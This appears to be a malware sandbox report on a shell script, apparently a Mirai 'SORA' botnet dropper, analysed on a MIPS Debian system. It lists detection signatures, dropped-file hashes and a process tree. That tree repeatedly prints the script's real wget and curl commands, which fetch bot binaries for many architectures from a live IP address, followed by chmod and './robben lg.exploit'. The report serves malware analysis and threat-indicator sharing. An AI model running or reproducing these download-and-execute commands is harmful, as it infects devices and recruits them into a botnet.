Analysis

  • max time kernel
    89s
  • max time network
    150s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20250619-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20250619-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    02/12/2025, 16:21

General

  • Target
    lg.sh
  • Size 2KB
  • Sample251202-ttserahl2x
  • SHA256 ea7e734ddccf58e719c8cbedc6d545ea76ed86ea926df5f23c9e3cbd480c136f
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • mirai

Botnet
  • SORA

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (47097) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 14 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 1 IoCs
  • Reads runtime system information 33 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 26 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/lg.sh
    /tmp/lg.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:714
    • /usr/bin/wget
      wget http://158.94.210.88/bins/sora.x86
      2⤵
      • Writes file to tmp directory
      PID:718
    • /usr/bin/curl
      curl -O http://158.94.210.88/bins/sora.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:732
    • /bin/cat
      cat sora.x86
      2⤵
        PID:740
      • /bin/chmod
        chmod +x lg.sh robben sora.x86 systemd-private-4104dce00a3d470ebd8ba289cbd5da8f-systemd-timedated.service-Hb4k72
        2⤵
        • File and Directory Permissions Modification
        PID:741
      • /tmp/robben
        ./robben lg.exploit
        2⤵
          PID:742
        • /usr/bin/wget
          wget http://158.94.210.88/bins/sora.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:744
        • /usr/bin/curl
          curl -O http://158.94.210.88/bins/sora.mips
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:746
        • /bin/cat
          cat sora.mips
          2⤵
          • System Network Configuration Discovery
          PID:747
        • /bin/chmod
          chmod +x lg.sh robben sora.mips sora.x86 systemd-private-4104dce00a3d470ebd8ba289cbd5da8f-systemd-timedated.service-Hb4k72
          2⤵
          • File and Directory Permissions Modification
          PID:748
        • /tmp/robben
          ./robben lg.exploit
          2⤵
          • Modifies Watchdog functionality
          • Changes its process name
          • Reads runtime system information
          PID:749
        • /usr/bin/wget
          wget http://158.94.210.88/bins/sora.x86_64
          2⤵
          • Writes file to tmp directory
          PID:756
        • /usr/bin/curl
          curl -O http://158.94.210.88/bins/sora.x86_64
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:757
        • /bin/cat
          cat sora.x86_64
          2⤵
            PID:758
          • /bin/chmod
            chmod +x lg.sh robben sora.mips sora.x86 sora.x86_64 systemd-private-4104dce00a3d470ebd8ba289cbd5da8f-systemd-timedated.service-Hb4k72
            2⤵
            • File and Directory Permissions Modification
            PID:759
          • /tmp/robben
            ./robben lg.exploit
            2⤵
              PID:760
            • /usr/bin/wget
              wget http://158.94.210.88/bins/sora.i468
              2⤵
                PID:762
              • /usr/bin/curl
                curl -O http://158.94.210.88/bins/sora.i468
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:763
              • /bin/cat
                cat sora.i468
                2⤵
                  PID:772
                • /bin/chmod
                  chmod +x lg.sh robben sora.i468 sora.mips sora.x86 sora.x86_64 systemd-private-4104dce00a3d470ebd8ba289cbd5da8f-systemd-timedated.service-Hb4k72
                  2⤵
                  • File and Directory Permissions Modification
                  PID:773
                • /tmp/robben
                  ./robben lg.exploit
                  2⤵
                    PID:775
                  • /usr/bin/wget
                    wget http://158.94.210.88/bins/sora.i686
                    2⤵
                    • Writes file to tmp directory
                    PID:777
                  • /usr/bin/curl
                    curl -O http://158.94.210.88/bins/sora.i686
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:784
                  • /bin/cat
                    cat sora.i686
                    2⤵
                      PID:794
                    • /bin/chmod
                      chmod +x lg.sh robben sora.i468 sora.i686 sora.mips sora.x86 sora.x86_64 systemd-private-4104dce00a3d470ebd8ba289cbd5da8f-systemd-timedated.service-Hb4k72
                      2⤵
                      • File and Directory Permissions Modification
                      PID:796
                    • /tmp/robben
                      ./robben lg.exploit
                      2⤵
                        PID:797
                      • /usr/bin/wget
                        wget http://158.94.210.88/bins/sora.mpsl
                        2⤵
                        • Writes file to tmp directory
                        PID:800
                      • /usr/bin/curl
                        curl -O http://158.94.210.88/bins/sora.mpsl
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:808
                      • /bin/cat
                        cat sora.mpsl
                        2⤵
                          PID:819
                        • /bin/chmod
                          chmod +x lg.sh robben sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-4104dce00a3d470ebd8ba289cbd5da8f-systemd-timedated.service-Hb4k72
                          2⤵
                          • File and Directory Permissions Modification
                          PID:820
                        • /tmp/robben
                          ./robben lg.exploit
                          2⤵
                            PID:821
                          • /usr/bin/wget
                            wget http://158.94.210.88/bins/sora.arm4
                            2⤵
                              PID:823
                            • /usr/bin/curl
                              curl -O http://158.94.210.88/bins/sora.arm4
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:825
                            • /bin/cat
                              cat sora.arm4
                              2⤵
                                PID:826
                              • /bin/chmod
                                chmod +x lg.sh robben sora.arm4 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-4104dce00a3d470ebd8ba289cbd5da8f-systemd-timedated.service-Hb4k72
                                2⤵
                                • File and Directory Permissions Modification
                                PID:827
                              • /tmp/robben
                                ./robben lg.exploit
                                2⤵
                                  PID:828
                                • /usr/bin/wget
                                  wget http://158.94.210.88/bins/sora.arm5
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:829
                                • /usr/bin/curl
                                  curl -O http://158.94.210.88/bins/sora.arm5
                                  2⤵
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:830
                                • /bin/cat
                                  cat sora.arm5
                                  2⤵
                                    PID:831
                                  • /bin/chmod
                                    chmod +x lg.sh robben sora.arm4 sora.arm5 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-4104dce00a3d470ebd8ba289cbd5da8f-systemd-timedated.service-Hb4k72
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:832
                                  • /tmp/robben
                                    ./robben lg.exploit
                                    2⤵
                                      PID:833
                                    • /usr/bin/wget
                                      wget http://158.94.210.88/bins/sora.arm6
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:835
                                    • /usr/bin/curl
                                      curl -O http://158.94.210.88/bins/sora.arm6
                                      2⤵
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:836
                                    • /bin/cat
                                      cat sora.arm6
                                      2⤵
                                        PID:843
                                      • /bin/chmod
                                        chmod +x lg.sh robben sora.arm4 sora.arm5 sora.arm6 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-4104dce00a3d470ebd8ba289cbd5da8f-systemd-timedated.service-Hb4k72
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:844
                                      • /tmp/robben
                                        ./robben lg.exploit
                                        2⤵
                                          PID:846
                                        • /usr/bin/wget
                                          wget http://158.94.210.88/bins/sora.arm7
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:849
                                        • /usr/bin/curl
                                          curl -O http://158.94.210.88/bins/sora.arm7
                                          2⤵
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:856
                                        • /bin/cat
                                          cat sora.arm7
                                          2⤵
                                            PID:863
                                          • /bin/chmod
                                            chmod +x lg.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-4104dce00a3d470ebd8ba289cbd5da8f-systemd-timedated.service-Hb4k72
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:865
                                          • /tmp/robben
                                            ./robben lg.exploit
                                            2⤵
                                              PID:867
                                            • /usr/bin/wget
                                              wget http://158.94.210.88/bins/sora.ppc
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:869
                                            • /usr/bin/curl
                                              curl -O http://158.94.210.88/bins/sora.ppc
                                              2⤵
                                              • Reads runtime system information
                                              • Writes file to tmp directory
                                              PID:877
                                            • /bin/cat
                                              cat sora.ppc
                                              2⤵
                                                PID:882
                                              • /bin/chmod
                                                chmod +x lg.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.x86 sora.x86_64
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:883
                                              • /tmp/robben
                                                ./robben lg.exploit
                                                2⤵
                                                  PID:884
                                                • /usr/bin/wget
                                                  wget http://158.94.210.88/bins/sora.ppc440fp
                                                  2⤵
                                                    PID:886
                                                  • /usr/bin/curl
                                                    curl -O http://158.94.210.88/bins/sora.ppc440fp
                                                    2⤵
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:887
                                                  • /bin/cat
                                                    cat sora.ppc440fp
                                                    2⤵
                                                      PID:888
                                                    • /bin/chmod
                                                      chmod +x lg.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:889
                                                    • /tmp/robben
                                                      ./robben lg.exploit
                                                      2⤵
                                                        PID:890
                                                      • /usr/bin/wget
                                                        wget http://158.94.210.88/bins/sora.m68k
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:891
                                                      • /usr/bin/curl
                                                        curl -O http://158.94.210.88/bins/sora.m68k
                                                        2⤵
                                                        • Reads runtime system information
                                                        • Writes file to tmp directory
                                                        PID:892
                                                      • /bin/cat
                                                        cat sora.m68k
                                                        2⤵
                                                          PID:893
                                                        • /bin/chmod
                                                          chmod +x lg.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:894
                                                        • /tmp/robben
                                                          ./robben lg.exploit
                                                          2⤵
                                                            PID:895
                                                          • /usr/bin/wget
                                                            wget http://158.94.210.88/bins/sora.sh4
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:897
                                                          • /usr/bin/curl
                                                            curl -O http://158.94.210.88/bins/sora.sh4
                                                            2⤵
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:898
                                                          • /bin/cat
                                                            cat sora.sh4
                                                            2⤵
                                                              PID:899
                                                            • /bin/chmod
                                                              chmod +x lg.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.sh4 sora.x86 sora.x86_64
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:900
                                                            • /tmp/robben
                                                              ./robben lg.exploit
                                                              2⤵
                                                                PID:901

                                                            Network

                                                                  MITRE ATT&CK Enterprise v16

                                                                  Replay Monitor

                                                                  Loading Replay Monitor...

                                                                  Downloads

                                                                  robben

                                                                  • Path /tmp/robben
                                                                  • Size 28KB
                                                                  • SHA256 4246381213e8989648f6e08604646569b882e61590e111875ad33aa0ca03de99
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  robben

                                                                  • Path /tmp/robben
                                                                  • Size 28KB
                                                                  • SHA256 c3daf7d7a59975469f04e0f6ede86b879711b2a0312c0a82b1d3c002138cc5bc
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  robben

                                                                  • Path /tmp/robben
                                                                  • Size 212B
                                                                  • SHA256 3ffdc3e7f17876fa23ee6595712e544975dc985d313fe07fd103e6cd3606b435
                                                                  • MD5 SHA1 SHA512

                                                                  robben

                                                                  • Path /tmp/robben
                                                                  • Size 28KB
                                                                  • SHA256 451f581d10e74e20745fd43dd8ec43e238de1bc105f14689ff93b2c9ead70db3
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  robben

                                                                  • Path /tmp/robben
                                                                  • Size 64KB
                                                                  • SHA256 1f38d3c94ad8d1e9324838f118c7d93d7845dd84297191be5097a393a6373d7b
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  sora.x86

                                                                  • Path /tmp/sora.x86
                                                                  • Size 27KB
                                                                  • SHA256 894933ec00a829c1eee490fd98789f13e851b4b23cb004e5aac9453c3cc93525
                                                                  • MD5 SHA1 SHA512 SSDEEP